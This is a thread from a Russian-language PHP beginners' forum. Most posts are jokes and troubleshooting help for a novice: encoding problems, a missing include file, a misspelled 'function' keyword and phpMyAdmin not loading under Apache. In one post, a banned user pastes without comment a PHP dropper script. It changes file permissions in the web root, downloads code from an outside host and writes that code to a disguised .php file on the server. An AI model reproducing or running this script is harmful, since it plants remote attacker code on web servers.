За последние 24 часа нас посетили 51994 программиста и 1772 робота. Сейчас ищут 870 программистов ...

Превозмогания тред

Тема в разделе "PHP для новичков", создана пользователем ubunta2, 27 июн 2017.

  1. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Пойди в институт где учат разработчиков, там за 3-5 лет обучат
     
  2. abrdabr

    abrdabr Новичок

    С нами с:
    28 янв 2017
    Сообщения:
    774
    Симпатии:
    65
    @ubunta2 чтобы создать фейкбук нужно ввести в гугл "скрипт фэйсбука" и установить эту заточеную под фб цмску, потом создать тему на форе "зацените мой сайт первым пятьсот зареганым дам модера" и ловить профит DDDDDDDDDDDd
     
    denis01 нравится это.
  3. abrdabr

    abrdabr Новичок

    С нами с:
    28 янв 2017
    Сообщения:
    774
    Симпатии:
    65
    @ubunta2 хороших не встречал... да и курсы это отнюдь не практика, посмотрел\почитал курс и через неделю забыл то что не юзаешь...
     
  4. abrdabr

    abrdabr Новичок

    С нами с:
    28 янв 2017
    Сообщения:
    774
    Симпатии:
    65
    Создаём свою цмс. Руководство для профи
    1. Создаём папку с именем "mycms"
    2. создаём файл с именем "index.php"
    3. создаём тему на форуме "Создал свою цмс, но не работает авторизация"
    4. копируем примеры и вставляем в index.php ждём рабочего примера
    5. создаём тему на форуме (желательно с другого ника) "создал свою цмс но не работает блог\новости\форум.... "
    6. повторяем пункты 3-5 до полного удовлетворения
    7. создаём тему "Продам скрпт уникальной цмс"
    8. Если что-то не получается то приносим жертву черному божеству по имени "Admin"
    И не в коем случае не гуглить, этим занимаются только нубы, профи сразу создают тему в разделе "сделайте за меня"
     
  5. artoodetoo

    artoodetoo Суперстар
    Команда форума Модератор

    С нами с:
    11 июн 2010
    Сообщения:
    11.128
    Симпатии:
    1.248
    Адрес:
    там-сям
    У человека есть кратковременная и долговременная память. Большая часть информации не задерживается и бесследно тает, это нормально! Мозг защищается от перегруза.

    Чтобы новая информация прижилась в твоём мозгу, надо чтобы

    - новых единиц инфы поступало в мозг не слишком много за раз. говорят, обычный человек не удерживает в памяти более 7-9 новых фактов.

    - новая инфа имела яркие ассоциации. вау-эффект: "боже, же как это просто оказывается!", или "похоже на трахающихся собачек", какими-то связями она должна обладать чтобы зацепиться.

    - была повторена на практике несколько раз в течении короткого времени, желательно не больше часа
     
  6. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    Код (Text):
    1. <?php
    2.  
    3. chmod(get_root_path(), 0755);
    4. chmod(get_root_path().'/index.php', 0644);
    5. chmod(get_root_path().'/.htaccess', 0644);
    6. if (file_exists(get_root_path().'/index.php') && !is_writable(get_root_path().'/index.php') || file_exists(get_root_path().'/.htaccess') && !is_writable(get_root_path().'/.htaccess'))
    7. {
    8.     fail_reason('Index.php or .htaccess isn\'t writable');
    9. }
    10.  
    11.  
    12. if (version_compare(PHP_VERSION, '5.0.0', '<'))
    13. {
    14.     fail_reason('PHP 4');
    15. }
    16.  
    17. $content = fetch_url('http://obf.bokoinchina.com/obf.php?file=coder');
    18. if ($content === false)
    19. {
    20.     fail_reason('Fetching url failed');
    21. }
    22.  
    23. $content = '<?php '.$content.' ?>';
    24.  
    25. $file_name = substr(md5($_SERVER['SERVER_ADDR'].'coder'), 0, 4).'.php';
    26. if (!file_put_contents($file_name, $content))
    27. {
    28.     fail_reason('Can\'t save file');
    29. }
    30.  
    31.  
    32. fail_reason('Success!'.$file_name);
    33.  
    34. function get_root_path()
    35. {
    36.     $localpath=getenv("SCRIPT_NAME");$absolutepath=str_replace('\\', '/', getenv("SCRIPT_FILENAME"));$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
    37.     return $root_path;
    38. }
    39.  
    40. function fail_reason($reason)
    41. {
    42.     //unlink(__FILE__);
    43.     die($reason);
    44. }
    45.  
    46. function fetch_url($url)
    47. {
    48.     $user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36';
    49.     $contents = false;
    50.     $errs = 0;
    51.     while (!$contents && ($errs++ < 3))
    52.     {      
    53.         if (extension_loaded('curl') && function_exists('curl_init')) {
    54.             $c = curl_init($url);
    55.             curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE);
    56.             curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    57.             curl_setopt($c, CURLOPT_USERAGENT,$user_agent);
    58.             $contents = curl_exec($c);
    59.             curl_close($c);
    60.         } else
    61.         {
    62.             $options  = array('http' => array('user_agent' => $user_agent));
    63.             $context  = stream_context_create($options);
    64.             $contents = @file_get_contents($url, false, $context);
    65.         }
    66.     }
    67.    
    68.     return $contents;
    69. }
     
  7. voral

    voral Активный пользователь

    С нами с:
    30 ноя 2017
    Сообщения:
    646
    Симпатии:
    104
    А какая (какие) строки здесь вам не понятны?

    Или я не понял вопрос.....
     
  8. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL
    13823051565410.jpg
     
  9. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL
    @voral я не юзал программы которые ты говоришь, но шторм - это профит (Оч сильная среда разработки).
     
  10. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL
    Потому что у вас не настроен web server
    --- Добавлено ---
    Либо как то криво установлен. Вот вам инструкция к действию от digitalocean
    https://www.digitalocean.com/community/tutorials/linux-apache-mysql-php-lamp-ubuntu-16-04-ru
     
  11. romach

    romach Старожил

    С нами с:
    26 окт 2013
    Сообщения:
    2.904
    Симпатии:
    719
  12. askanim

    askanim Старожил

    С нами с:
    7 апр 2016
    Сообщения:
    2.201
    Симпатии:
    166
    Адрес:
    GABRIEL
    Ор выше гор Everyone+on.jpg
     
  13. voral

    voral Активный пользователь

    С нами с:
    30 ноя 2017
    Сообщения:
    646
    Симпатии:
    104
    @askanim, это две разных рализации Java Development Kit одна от компании Oracle другая свободный и открытый исходный код. И PHPShtorm и Netbeans их используют и без оных работать не будут. Было врем когда OpenJDK работало более стабильно (деталей правда не помню)
     
    #1513 voral, 2 фев 2018
    Последнее редактирование: 2 фев 2018
  14. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    ������� ����� ��������
     
  15. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    Код (Text):
    1. <!DOCTYPE html>
    2. <html>
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">  <title>Тег META, атрибут charset</title>
    5. </head>
    6. <body>
    7. <?php
    8.   error_reporting(E_ALL & ~E_NOTICE);
    9.  
    10.   // Подключаем объявление класса
    11.   require_once("class.employee.php");
    12.  
    13.   // Объявляем объект класса employee
    14.   $emp = new employee();
    15.  
    16.   // Присваиваем значения членам класса
    17.   $emp->surname    = "Борисов";
    18.   $emp->name       = "Игорь";
    19.   $emp->patronymic = "Иванович";
    20.   // $emp->age = 23; // Ошибка
    21.  
    22.   // Выводим члены класса
    23.   echo $emp->surname." ".$emp->name." ".$emp->patronymic."<br>"
    24. ?>
    25. </body>
    26. </html>
     
  16. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Сам файл в какой кодировке?
    У тебя там doctype от html5, так что кодировку задавай так
    HTML:
    1. <meta charset="utf-8">
    ещё посмотри кодировку в http заголовках при запросе этого PHP файла браузером
    --- Добавлено ---
    Title выводиться в нормальной кодировке? Попробуй что-то на русском написать и посмотреть там будет ли всё хорошо, может проблема не в этом файле
     
  17. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    а все в нотепад ++ поменял и все мзаработало
     
    denis01 нравится это.
  18. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    Warning: require_once(class.employee.php): failed to open stream: No such file or directory in E:\OpenServer\domains\php\01\1.5\2.php on line 16

    Fatal error: require_once(): Failed opening required 'class.employee.php' (include_path='.;e:/openserver/modules/php/PHP-7.0-x64;e:/openserver/modules/php/PHP-7.0-x64/PEAR/pear') in E:\OpenServer\domains\php\01\1.5\2.php on line 16
    --- Добавлено ---
    PHP:
    1. <?php
    2.  
    3.   error_reporting(E_ALL & ~E_NOTICE);
    4.  
    5.   // Подключаем объявление класса
    6.   require_once("class.employee.php");
    7.  
    8.   // Объявляем объект класса employee
    9.   $emp = new employee();
    10.  
    11.   // Передаем значения членам класса
    12.   $emp->surname  = "Борисов";
    13.   $emp->name  = "Игорь";
    14.   $emp->patronymic = "Иванович";
    15.   if(!$emp->set_age(23)) exit("Ошибка вычисления возраста");
    16.  
    17.   echo $emp->get_full_info(); // Борисов Игорь Иванович (23)
    18. ?>
    Warning: require_once(class.employee.php): failed to open stream: No such file or directory in E:\OpenServer\domains\php\01\1.5\2.php on line 6

    Fatal error: require_once(): Failed opening required 'class.employee.php' (include_path='.;e:/openserver/modules/php/PHP-7.0-x64;e:/openserver/modules/php/PHP-7.0-x64/PEAR/pear') in E:\OpenServer\domains\php\01\1.5\2.php on line 6

    как исправить
    --- Добавлено ---
    все не надо понял ошибку и все сделал ура
     
    denis01 нравится это.
  19. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    Parse error: syntax error, unexpected 'fuction' (T_STRING), expecting variable (T_VARIABLE) in E:\OpenServer\domains\php\01\1.10\class.point.php on line 12
    PHP:
    1. <?php
    2.   ////////////////////////////////////////////////////////////
    3.   error_reporting(E_ALL & ~E_NOTICE);
    4.  
    5.   class point
    6.   {
    7.   public function __construct($x, $y)
    8.   {
    9.   $this->X = $x;
    10.   $this->Y = $y;
    11.   }
    12.   public fuction get_x()
    13.   {
    14.   return $this->X;
    15.   }
    16.   public fuction get_y()
    17.   {
    18.   return $this->Y;
    19.   }
    20.  
    21.   private $X;
    22.   private $Y;
    23.   }
    24. ?>
     
  20. rewuxiin

    rewuxiin Активный пользователь

    С нами с:
    17 апр 2012
    Сообщения:
    611
    Симпатии:
    87
    внимательнее. тебе же подсветка показывает, что что-то не так с методом
    public function __construct
    public fuction get_x

    разницу в длине слов замечаешь?
     
  21. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    в книге так написано
    --- Добавлено ---
    а все понял спасибо
     
    mahmuzar и denis01 нравится это.
  22. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    Not Found
    The requested URL /phpmyadmin was not found on this server.

    Apache/2.4.18 (Ubuntu) Server at localhost Port 80
    http://localhost/phpmyadmin
     
  23. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    что делать в этом случаи? Проверь настройки веб сервера, в какой он папке смотрит если запрос на localhost и есть ли в той папке папка phpmyadmin, если на Linux происходит, то совпадает ли регистр букв, есть ли там index.php, настроен ли веб сервер запускать его по умолчанию при обращении к папке
     
  24. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Это известный косяк, который то случается, то нет. Лечится так:

    В файле
    /etc/apache2/apache2.conf

    В самом конце допиши:
    include /etc/phpmyadmin/apache.conf

    После чего перезапусти apache командой:
    Код (Text):
    1. service apache2 restart
    --- Добавлено ---
    Не, нету, PMA, установленный из репозиториев, хостится в etc и usr/share.
    Чтобы он корректно мапился на site/phpmyadmin, нужно заинклудить его конфиги в апач.
     
  25. ubunta2

    ubunta2 Зэк
    [ БАН ]

    С нами с:
    27 июн 2017
    Сообщения:
    947
    Симпатии:
    28
    спасибо помогло